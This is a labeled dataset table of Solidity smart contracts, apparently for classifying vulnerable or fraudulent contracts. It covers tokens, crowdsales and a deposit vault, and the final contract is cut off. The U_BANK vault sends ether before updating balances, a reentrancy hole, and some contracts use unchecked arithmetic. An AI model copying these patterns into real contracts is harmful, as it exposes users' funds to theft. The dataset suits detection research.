source_codes
stringlengths 72
160k
| labels
int64 0
1
| __index_level_0__
int64 0
4.4k
|
|---|---|---|
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract TCNXToken is FreezableToken, BurnableToken, Pausable
{
address public fundsWallet = 0x368E1ED074e2F6bBEca5731C8BaE8460d1cA2529;
uint256 public totalSupply = 20 * 1000000000 ether;
uint256 public blockDate = 1561852800;
constructor() public {
transferOwnership(fundsWallet);
balances[fundsWallet] = totalSupply;
Transfer(0x0, fundsWallet, totalSupply);
}
function name() public pure returns (string _name) {
return "Tercet Network";
}
function symbol() public pure returns (string _symbol) {
return "TCNX";
}
function decimals() public pure returns (uint8 _decimals) {
return 18;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
require(!isBlocked(_from, _value));
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
require(!isBlocked(msg.sender, _value));
return super.transfer(_to, _value);
}
function isBlocked(address _from, uint256 _value) returns(bool _blocked){
if(_from != fundsWallet || now > blockDate){
return false;
}
if(balances[_from].sub(_value) < totalSupply.mul(50).div(100)){
return true;
}
return false;
}
} | 0 | 1,769 |
pragma solidity ^0.4.18;
contract FUTX {
uint256 constant MAX_UINT256 = 2**256 - 1;
uint256 MAX_SUBMITTED = 5000671576194550000000;
uint256 _totalSupply = 0;
uint256[] levels = [
87719298245614000000,
198955253301794000000,
373500707847248000000,
641147766670778000000,
984004909527921000000,
1484004909527920000000,
2184004909527920000000,
3084004909527920000000,
4150671576194590000000,
5000671576194550000000
];
uint256[] ratios = [
114,
89,
55,
34,
21,
13,
8,
5,
3,
2 ];
uint256 _submitted = 0;
uint256 public tier = 0;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
event Mined(address indexed _miner, uint _value);
event WaitStarted(uint256 endTime);
event SwapStarted(uint256 endTime);
event MiningStart(uint256 end_time, uint256 swap_time, uint256 swap_end_time);
event MiningExtended(uint256 end_time, uint256 swap_time, uint256 swap_end_time);
string public name = "Futereum X";
uint8 public decimals = 18;
string public symbol = "FUTX";
bool public swap = false;
bool public wait = false;
bool public extended = false;
uint256 public endTime;
uint256 swapTime;
uint256 swapEndTime;
uint256 endTimeExtended;
uint256 swapTimeExtended;
uint256 swapEndTimeExtended;
uint256 public payRate = 0;
uint256 submittedFeesPaid = 0;
uint256 penalty = 0;
uint256 reservedFees = 0;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function () external payable {
require(msg.sender != address(0) &&
tier != 10 &&
swap == false &&
wait == false);
uint256 issued = mint(msg.sender, msg.value);
Mined(msg.sender, issued);
Transfer(this, msg.sender, issued);
}
function FUTX() public {
_start();
}
function _start() internal
{
swap = false;
wait = false;
extended = false;
endTime = now + 90 days;
swapTime = endTime + 30 days;
swapEndTime = swapTime + 5 days;
endTimeExtended = now + 270 days;
swapTimeExtended = endTimeExtended + 90 days;
swapEndTimeExtended = swapTimeExtended + 5 days;
submittedFeesPaid = 0;
_submitted = 0;
reservedFees = 0;
payRate = 0;
tier = 0;
MiningStart(endTime, swapTime, swapEndTime);
}
function restart() public {
require(swap && now >= endTime);
penalty = this.balance * 2000 / 10000;
payFees();
_start();
}
function totalSupply() public constant returns (uint)
{
return _totalSupply;
}
function mint(address _to, uint256 _value) internal returns (uint256)
{
uint256 total = _submitted + _value;
if (total > MAX_SUBMITTED)
{
uint256 refund = total - MAX_SUBMITTED - 1;
_value = _value - refund;
_to.transfer(refund);
}
_submitted += _value;
total -= refund;
uint256 tokens = calculateTokens(total, _value);
balances[_to] += tokens;
_totalSupply += tokens;
return tokens;
}
function calculateTokens(uint256 total, uint256 _value) internal returns (uint256)
{
if (tier == 10)
{
return 74000000;
}
uint256 tokens = 0;
if (total > levels[tier])
{
uint256 remaining = total - levels[tier];
_value -= remaining;
tokens = (_value) * ratios[tier];
tier += 1;
tokens += calculateTokens(total, remaining);
}
else
{
tokens = _value * ratios[tier];
}
return tokens;
}
function currentTier() public view returns (uint256) {
if (tier == 10)
{
return 10;
}
else
{
return tier + 1;
}
}
function leftInTier() public view returns (uint256) {
if (tier == 10) {
return 0;
}
else
{
return levels[tier] - _submitted;
}
}
function submitted() public view returns (uint256) {
return _submitted;
}
function balanceMinusFeesOutstanding() public view returns (uint256) {
return this.balance - (penalty + (_submitted - submittedFeesPaid) * 1530 / 10000);
}
function calulateRate() internal {
reservedFees = penalty + (_submitted - submittedFeesPaid) * 1530 / 10000;
uint256 tokens = _totalSupply / 1 ether;
payRate = (this.balance - reservedFees);
payRate = payRate / tokens;
}
function _updateState() internal {
if (now >= endTime)
{
if(!swap && !wait)
{
if (extended)
{
wait = true;
endTime = swapTimeExtended;
WaitStarted(endTime);
}
else if (tier == 10)
{
wait = true;
endTime = swapTime;
WaitStarted(endTime);
}
else
{
endTime = endTimeExtended;
extended = true;
MiningExtended(endTime, swapTime, swapEndTime);
}
}
else if (wait)
{
swap = true;
wait = false;
if (extended)
{
endTime = swapEndTimeExtended;
}
else
{
endTime = swapEndTime;
}
SwapStarted(endTime);
}
}
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
_updateState();
if (_to == address(this))
{
require(swap);
if (payRate == 0)
{
calulateRate();
}
uint256 amount = _value * payRate;
amount /= 1 ether;
balances[msg.sender] -= _value;
_totalSupply -= _value;
Transfer(msg.sender, _to, _value);
msg.sender.transfer(amount);
} else
{
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
address public foundation = 0x950ec4ef693d90f8519c4213821e462426d30905;
address public owner = 0x78BFCA5E20B0D710EbEF98249f68d9320eE423be;
address public dev = 0x5d2b9f5345e69e2390ce4c26ccc9c2910a097520;
function payFees() public {
_updateState();
uint256 fees = penalty + (_submitted - submittedFeesPaid) * 1530 / 10000;
submittedFeesPaid = _submitted;
reservedFees = 0;
penalty = 0;
if (fees > 0)
{
foundation.transfer(fees / 3);
owner.transfer(fees / 3);
dev.transfer(fees / 3);
}
}
function changeFoundation (address _receiver) public
{
require(msg.sender == foundation);
foundation = _receiver;
}
function changeOwner (address _receiver) public
{
require(msg.sender == owner);
owner = _receiver;
}
function changeDev (address _receiver) public
{
require(msg.sender == dev);
dev = _receiver;
}
} | 0 | 1,220 |
pragma solidity ^0.4.25;
contract U_BANK
{
function Put(uint _unlockTime)
public
payable
{
var acc = Acc[msg.sender];
acc.balance += msg.value;
acc.unlockTime = _unlockTime>now?_unlockTime:now;
LogFile.AddMessage(msg.sender,msg.value,"Put");
}
function Collect(uint _am)
public
payable
{
var acc = Acc[msg.sender];
if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
{
if(msg.sender.call.value(_am)())
{
acc.balance-=_am;
LogFile.AddMessage(msg.sender,_am,"Collect");
}
}
}
function()
public
payable
{
Put(0);
}
struct Holder
{
uint unlockTime;
uint balance;
}
mapping (address => Holder) public Acc;
Log LogFile;
uint public MinSum = 2 ether;
function U_BANK(address log) public{
LogFile = Log(log);
}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
} | 0 | 44 |
pragma solidity ^0.4.25;
contract ERC20 {
bytes32 public standard;
bytes32 public name;
bytes32 public symbol;
uint256 public totalSupply;
uint8 public decimals;
bool public allowTransactions;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function transfer(address _to, uint256 _value) returns (bool success);
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
}
contract ExToke {
string public name = "ExToke Token";
string public symbol = "XTE";
uint8 public decimals = 18;
uint256 public crowdSaleSupply = 500000000 * (uint256(10) ** decimals);
uint256 public tokenSwapSupply = 3000000000 * (uint256(10) ** decimals);
uint256 public dividendSupply = 2400000000 * (uint256(10) ** decimals);
uint256 public totalSupply = 7000000000 * (uint256(10) ** decimals);
mapping(address => uint256) public balanceOf;
address public oldAddress = 0x28925299Ee1EDd8Fd68316eAA64b651456694f0f;
address tokenAdmin = 0xEd86f5216BCAFDd85E5875d35463Aca60925bF16;
uint256 public finishTime = 1548057600;
uint256[] public releaseDates =
[1543665600, 1546344000, 1549022400, 1551441600, 1554120000, 1556712000,
1559390400, 1561982400, 1564660800, 1567339200, 1569931200, 1572609600,
1575201600, 1577880000, 1580558400, 1583064000, 1585742400, 1588334400,
1591012800, 1593604800, 1596283200, 1598961600, 1601553600, 1604232000];
uint256 public nextRelease = 0;
function ExToke() public {
balanceOf[tokenAdmin] = 1100000000 * (uint256(10) ** decimals);
emit Transfer(address(0), msg.sender, totalSupply);
}
uint256 public scaling = uint256(10) ** 8;
mapping(address => uint256) public scaledDividendBalanceOf;
uint256 public scaledDividendPerToken;
mapping(address => uint256) public scaledDividendCreditedTo;
function update(address account) internal {
if(nextRelease < 24 && block.timestamp > releaseDates[nextRelease]){
releaseDivTokens();
}
uint256 owed =
scaledDividendPerToken - scaledDividendCreditedTo[account];
scaledDividendBalanceOf[account] += balanceOf[account] * owed;
scaledDividendCreditedTo[account] = scaledDividendPerToken;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
update(msg.sender);
update(to);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
update(from);
update(to);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
uint256 public scaledRemainder = 0;
function() public payable{
if(finishTime >= block.timestamp && crowdSaleSupply >= msg.value * 100000){
balanceOf[msg.sender] += msg.value * 100000;
crowdSaleSupply -= msg.value * 100000;
}
else if(finishTime < block.timestamp){
balanceOf[tokenAdmin] += crowdSaleSupply;
crowdSaleSupply = 0;
}
}
function releaseDivTokens() public payable {
require(block.timestamp > releaseDates[nextRelease]);
uint256 releaseAmount = 100000000 * (uint256(10) ** decimals);
dividendSupply -= 100000000 * (uint256(10) ** decimals);
uint256 available = (releaseAmount * scaling) + scaledRemainder;
scaledDividendPerToken += available / totalSupply;
scaledRemainder = available % totalSupply;
nextRelease += 1;
}
function withdraw() public {
update(msg.sender);
uint256 amount = scaledDividendBalanceOf[msg.sender] / scaling;
scaledDividendBalanceOf[msg.sender] %= scaling;
balanceOf[msg.sender] += amount;
}
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function swap(uint256 sendAmount) returns (bool success){
require(tokenSwapSupply >= sendAmount * 3);
if(ERC20(oldAddress).transferFrom(msg.sender, tokenAdmin, sendAmount)){
balanceOf[msg.sender] += sendAmount * 3;
tokenSwapSupply -= sendAmount * 3;
}
}
} | 0 | 289 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract SatoMotive is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function SatoMotive() public {
symbol = "SV2X";
name = "SatoMotive Token";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0xf44970e29510EDE8fFED726CF8C447F7512fb59f] = _totalSupply;
Transfer(address(0), 0xf44970e29510EDE8fFED726CF8C447F7512fb59f, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,486 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library Bonus {
uint256 constant pointMultiplier = 1e18;
uint16 constant ORIGIN_YEAR = 1970;
function getBonusFactor(uint256 basisTokens, uint timestamp)
internal pure returns (uint256 factor)
{
uint256[4][5] memory factors = [[uint256(300), 400, 500, 750],
[uint256(200), 300, 400, 600],
[uint256(150), 250, 300, 500],
[uint256(100), 150, 250, 400],
[uint256(0), 100, 150, 300]];
uint[4] memory cutofftimes = [toTimestamp(2018, 3, 24),
toTimestamp(2018, 4, 5),
toTimestamp(2018, 5, 5),
toTimestamp(2018, 6, 5)];
uint256 tokenAmount = basisTokens / pointMultiplier;
uint256 timeIndex = 4;
uint256 amountIndex = 0;
if (tokenAmount >= 500000000) {
amountIndex = 3;
} else if (tokenAmount >= 100000000) {
amountIndex = 2;
} else if (tokenAmount >= 25000000) {
amountIndex = 1;
} else {
}
uint256 maxcutoffindex = cutofftimes.length;
for (uint256 i = 0; i < maxcutoffindex; i++) {
if (timestamp < cutofftimes[i]) {
timeIndex = i;
break;
}
}
return factors[timeIndex][amountIndex];
}
function toTimestamp(uint16 year, uint8 month, uint8 day)
internal pure returns (uint timestamp) {
uint16 i;
timestamp += (year - ORIGIN_YEAR) * 1 years;
timestamp += (leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR)) * 1 days;
uint8[12] memory monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
for (i = 1; i < month; i++) {
timestamp += monthDayCounts[i - 1] * 1 days;
}
timestamp += (day - 1) * 1 days;
return timestamp;
}
function leapYearsBefore(uint year)
internal pure returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function isLeapYear(uint16 year)
internal pure returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
}
contract ClearToken is StandardToken {
enum States {
Initial,
ValuationSet,
Ico,
Underfunded,
Operational,
Paused
}
mapping(address => uint256) public ethPossibleRefunds;
uint256 public soldTokens;
string public constant name = "CLEAR Token";
string public constant symbol = "CLEAR";
uint8 public constant decimals = 18;
mapping(address => bool) public whitelist;
address public reserves;
address public stateControl;
address public whitelistControl;
address public withdrawControl;
address public tokenAssignmentControl;
States public state;
uint256 public startAcceptingFundsBlock;
uint256 public endTimestamp;
uint256 public ETH_CLEAR;
uint256 public constant NZD_CLEAR = 50;
uint256 constant pointMultiplier = 1e18;
uint256 public constant maxTotalSupply = 102400000000 * pointMultiplier;
uint256 public constant percentForSale = 50;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
function ClearToken(
address _stateControl
, address _whitelistControl
, address _withdrawControl
, address _tokenAssignmentControl
, address _reserves
) public
{
stateControl = _stateControl;
whitelistControl = _whitelistControl;
withdrawControl = _withdrawControl;
tokenAssignmentControl = _tokenAssignmentControl;
moveToState(States.Initial);
endTimestamp = 0;
ETH_CLEAR = 0;
totalSupply = maxTotalSupply;
soldTokens = 0;
reserves = _reserves;
balances[reserves] = totalSupply;
Mint(reserves, totalSupply);
Transfer(0x0, reserves, totalSupply);
}
event Whitelisted(address addr);
event StateTransition(States oldState, States newState);
modifier onlyWhitelist() {
require(msg.sender == whitelistControl);
_;
}
modifier onlyStateControl() {
require(msg.sender == stateControl);
_;
}
modifier onlyTokenAssignmentControl() {
require(msg.sender == tokenAssignmentControl);
_;
}
modifier onlyWithdraw() {
require(msg.sender == withdrawControl);
_;
}
modifier requireState(States _requiredState) {
require(state == _requiredState);
_;
}
function() payable
public
requireState(States.Ico)
{
require(whitelist[msg.sender] == true);
require(block.timestamp < endTimestamp);
require(block.number >= startAcceptingFundsBlock);
uint256 soldToTuserWithBonus = calcBonus(msg.value);
issueTokensToUser(msg.sender, soldToTuserWithBonus);
ethPossibleRefunds[msg.sender] = ethPossibleRefunds[msg.sender].add(msg.value);
}
function issueTokensToUser(address beneficiary, uint256 amount)
internal
{
uint256 soldTokensAfterInvestment = soldTokens.add(amount);
require(soldTokensAfterInvestment <= maxTotalSupply.mul(percentForSale).div(100));
balances[beneficiary] = balances[beneficiary].add(amount);
balances[reserves] = balances[reserves].sub(amount);
soldTokens = soldTokensAfterInvestment;
Transfer(reserves, beneficiary, amount);
}
function calcBonus(uint256 weiAmount)
constant
public
returns (uint256 resultingTokens)
{
uint256 basisTokens = weiAmount.mul(ETH_CLEAR);
uint256 perMillBonus = Bonus.getBonusFactor(basisTokens, now);
return basisTokens.mul(per_mill + perMillBonus).div(per_mill);
}
uint256 constant per_mill = 1000;
function moveToState(States _newState)
internal
{
StateTransition(state, _newState);
state = _newState;
}
function updateEthICOVariables(uint256 _new_ETH_NZD, uint256 _newEndTimestamp)
public
onlyStateControl
{
require(state == States.Initial || state == States.ValuationSet);
require(_new_ETH_NZD > 0);
require(block.timestamp < _newEndTimestamp);
endTimestamp = _newEndTimestamp;
ETH_CLEAR = _new_ETH_NZD.mul(NZD_CLEAR);
moveToState(States.ValuationSet);
}
function updateETHNZD(uint256 _new_ETH_NZD)
public
onlyTokenAssignmentControl
requireState(States.Ico)
{
require(_new_ETH_NZD > 0);
ETH_CLEAR = _new_ETH_NZD.mul(NZD_CLEAR);
}
function startICO()
public
onlyStateControl
requireState(States.ValuationSet)
{
require(block.timestamp < endTimestamp);
startAcceptingFundsBlock = block.number;
moveToState(States.Ico);
}
